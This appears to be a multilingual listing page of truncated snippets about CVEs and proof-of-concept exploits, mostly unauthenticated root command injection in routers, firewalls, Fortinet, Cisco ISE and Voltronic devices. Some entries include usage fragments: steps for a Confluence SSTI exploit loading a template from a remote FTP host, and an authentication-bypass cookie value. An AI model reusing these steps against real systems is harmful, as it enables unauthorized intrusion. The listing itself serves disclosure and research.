CVE-2026-86124

AutoAgent contains an unauthenticated remote code execution vulnerability in the TCP server that binds to all interfaces and executes attacker-supplied commands as root. Attackers can connect to the exposed communication port and execute arbitrary bash commands within the container, gaining acces...

CVE-2023-1389

説明 CVE-2023–1389 は、TP-Link Archer AX21 WiFi ルーターにおける認証不要のコマンドインジェクションの脆弱性です。country パラメータ内のコールバックが popen 関数を使用しており、これは root として実行されるため、攻撃者は認証を必要とせずに、管理インターフェースへの GET または POST リクエストを通じて任意の値を注入できます。脆弱性の詳細はこちらで確認できます。 これらは、コマンドインジェクションを調査中に私が作成した Proof-of-Concept のいくつかです。Archer-file-transfer.py...

CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 Palo Alto OS コマンドインジェクション ベンダー説明 Palo Alto Networks PAN-OS ソフトウェアの GlobalProtect 機能におけるコマンドインジェクションの脆弱性により、特定の PAN-OS バージョンと特定の機能構成では、認証されていない攻撃者がファイアウォール上で root 権限で任意のコードを実行できる可能性があります。 エクスプロイト 称賛は watchtowr labs 🚀 パストラバーサル / チェック HTTP リクエスト: root@kitploit: POST...

CVE-2023-34992

CVE-2023-34992: Fortinet FortiSIEM 未授权命令注入 概念验证漏洞利用，用于在易受攻击的FortiSIEM设备上以root权限盲执行命令 博客文章 根本原因和入侵指标在此： https://www.horizon3.ai/attack-research/disclosures/cve-2023-34992-fortinet-fortisiem-command-injection-deep-dive 使用方法 root@kitploit: % python3 CVE-2023-34992.py -h usage: CVE-2023-34992.py -h -...

Pyrescom-Termod-PoC

Pyrescom-Termod-PoC これは、Outpost24 Ghost Labs の Jonas Mattsson 氏と Hugo van den Toorn 氏によって発見された 3 つの脆弱性に対する実証コード PoC です。これらの脆弱性は、Pyrescom Termod4 タイムコントロールマシンの Web サーバーコンポーネントで発見されました。これらの脆弱性は連鎖的に悪用可能であり、リモートの攻撃者が認証をバイパスし、ローカルファイルシステムのファイルを読み取り、任意のコマンドを実行することを可能にします。これらの脆弱性は以下の CVE ID...

CVE-2024-23108

CVE-2024-23108: Fortinet FortiSIEM 認証不要の二次コマンドインジェクション 脆弱な FortiSIEM アプライアンス上でルートとしてコマンドを盲目的に実行する概念実証エクスプロイト ブログ記事 根本原因と侵害の痕跡はこちら: https://www.horizon3.ai/attack-research/disclosures/cve-2024-23108-fortinet-fortisiem-2nd-order-command-injection-deep-dive 使用方法 root@kitploit: % python3...

CVE-2022-0997

Fidelis Network and Deception - CVE-2022-0997 - 안전하지 않은 파일 권한 권한 상승 공개 가능성 및 감사의 말 이 익스플로잇은 미국 정부에 의해 공개 승인되었습니다. 문서의 무제한 배포를 승인하는 업무를 맡은 군인 및 정부 연락관에게 특별히 감사드립니다. 다음 OTR 번호를 참조하십시오: OTR-2022-00487 메타데이터 날짜: 20220516 0123H UTC 익스플로잇 작성자: Henry Reed, The Aerospace Corporation 공급업체 홈페이지:...

liferay-ga4-rce-research

Liferay CE 7.0.3 GA4 — 脆弱性リサーチ（RAPTOR Loop-Hunt） RAPTOR loop-hunt 手法で実施した、Liferay Portal CE 7.0.3 GA4 （git tag 7.0.3-ga4、コミット b2d7cc68a）のセキュリティ監査: 決定論的リコン → 生ソースを読む25の隔離された生成エージェント → 生ソースから反駁する22の独立した判定エージェント → Docker上の実GA4インスタンスを攻撃する9のライブ検証エージェント。 見出し: root...

CVE-2021-22123

CVE-2021-22123 Fortinet FortiWeb 認証済みOSコマンドインジェクション Hit Counter FortiWeb管理インターフェースにおけるコマンドインジェクションの脆弱性により、認証済みのリモート攻撃者がSAMLサーバー設定ページを介してシステム上で任意のコマンドを実行できる可能性があります。最大権限でコマンドを実行すると、攻撃者がサーバーを完全に制御できるようになります。これはCWE-78:...

CVE-2024-11003-POC

CVE-2024-11003-POC 説明 Qualys は、バージョン 3.8 より前の needrestart が、安全な入力を期待するライブラリ Modules::ScanDeps にサニタイズされていないデータを渡すことを発見しました。これにより、ローカルの攻撃者が任意のシェルコマンドを実行できる可能性があります。関連する CVE-2024-10224 については、Modules::ScanDeps を参照してください。 needstart を root 権限で実行できる場合、root として任意のコマンドを実行できます。 使用方法 脆弱なマシンに exploit.conf...

CVE-2023-38035

CVE-2023-38035 影响 Ivanti Sentry 的 CVE-2023-38035 POC 技术分析 关于该漏洞的技术根本原因分析可参阅我们的博客： https://www.horizon3.ai/ivanti-sentry-authentication-bypass-cve-2023-38035-deep-dive 概述 该 POC 利用一个未经验证的命令注入漏洞，以 root 用户身份执行任意命令。 执行环境不允许使用命令管道，且系统未自带易于滥用的二进制文件，因此可以通过串联命令，从类似...

CVE-2021-38647

OMIGOD CVE-2021-38647 OMIGOD の概念実証エクスプロイト 背景情報とコンテキストについては、この脆弱性を詳しく説明したブログ記事をお読みください: https://www.horizon3.ai/news/blog/omigod 詳細 CVE-2021-38647 は、OMI エージェントに対する root 権限での認証不要のリモートコード実行 RCE 脆弱性です。 OMI エージェントは、以下のサービスが使用されている場合に Azure Linux サーバーにインストールされていることがよくあります: Azure Automation Azure...

CVE-2019-9653

CVE-2019-9653 日付 開示: 2019年3月11日 最終更新: 2019年3月15日 概要 NUUO Inc. は、ビデオ中心の監視ソリューションを提供する企業です。さまざまな要件を持つ顧客向けに、多くのNVR（ネットワークビデオレコーダー）製品を展開しています。これらのNVRは、複数のカメラを管理できるLinux組み込み型のビデオ録画システムです。現在、世界中の多くの公共機関、企業、銀行、個人などで使用されています。...

CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 컨플루언스 SSTI RCE 1、cmd.vm 파일을 웹사이트에 업로드하세요 ftp 또는 https를 사용해야 하며, http는 작동하지 않습니다 2、RCEexp.py를 수정하고，filename = 'ftp://1.1.1.1/cmd.vm' 로 변경하세요 （python -m pyftpdlib -p 21） 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python RECexp.py...

CVE-2025-20281-Cisco

CVE-2025-20281 - Cisco ISE RCE 脆弱性チェッカー このスクリプトは、Cisco Identity Services Engine ISE および ISE-PIC に CVE-2025-20281 脆弱性が存在するかどうかをチェックします。この脆弱性は、特定の API における入力検証の不備により、認証不要のリモートコード実行 RCE を root 権限で可能にするものです。 このツールは、許可されたセキュリティテストおよび教育目的のみで使用することを意図しています。所有していない、またはテストの許可を得ていないシステムに対して使用しないでください。...

Cisco-CVE-2025-20281-illdeed

CVE-2025-20281 — Cisco ISE ERS API 未認証RCEエクスプロイト このリポジトリには、CVE-2025-20281 の Python 3 概念実証エクスプロイトが含まれています。この脆弱性は Cisco Identity Services Engine ISE に存在し、ERS API を介して ルート権限による未認証リモートコード実行 RCE を可能にします。 🩻 脆弱性の概要 Cisco ISE ERS の /ers/sdk エンドポイントは、ユーザー作成リクエストを処理する際に認証を検証しません。 攻撃者は InternalUser オブジェクトの...

CVE-2026-44402

Voltronic Power SNMP Web Pro 1.1 contains an unauthenticated remote code execution vulnerability in the upload.cgi firmware update endpoint that allows remote attackers to execute arbitrary commands as root by uploading a crafted tar archive without valid credentials. Attackers can supply a...

CVE-2026-44402 Voltronic Power SNMP Web Pro 1.1 Unauthenticated RCE via upload.cgi

Voltronic Power SNMP Web Pro 1.1 contains an unauthenticated remote code execution vulnerability in the upload.cgi firmware update endpoint that allows remote attackers to execute arbitrary commands as root by uploading a crafted tar archive without valid credentials. Attackers can supply a...

CVE-2026-44402

Voltronic Power SNMP Web Pro 1.1 suffers from an unauthenticated remote code execution vulnerability in the upload.cgi firmware update endpoint. The backend fails to validate session cookies (a single Cookie: -http-session-=NOT_VALID header bypasses authentication), and the firmware install proce...

EUVD-2026-71267

Voltronic Power SNMP Web Pro 1.1 contains an unauthenticated remote code execution vulnerability in the upload.cgi firmware update endpoint that allows remote attackers to execute arbitrary commands as root by uploading a crafted tar archive without valid credentials. Attackers can supply a...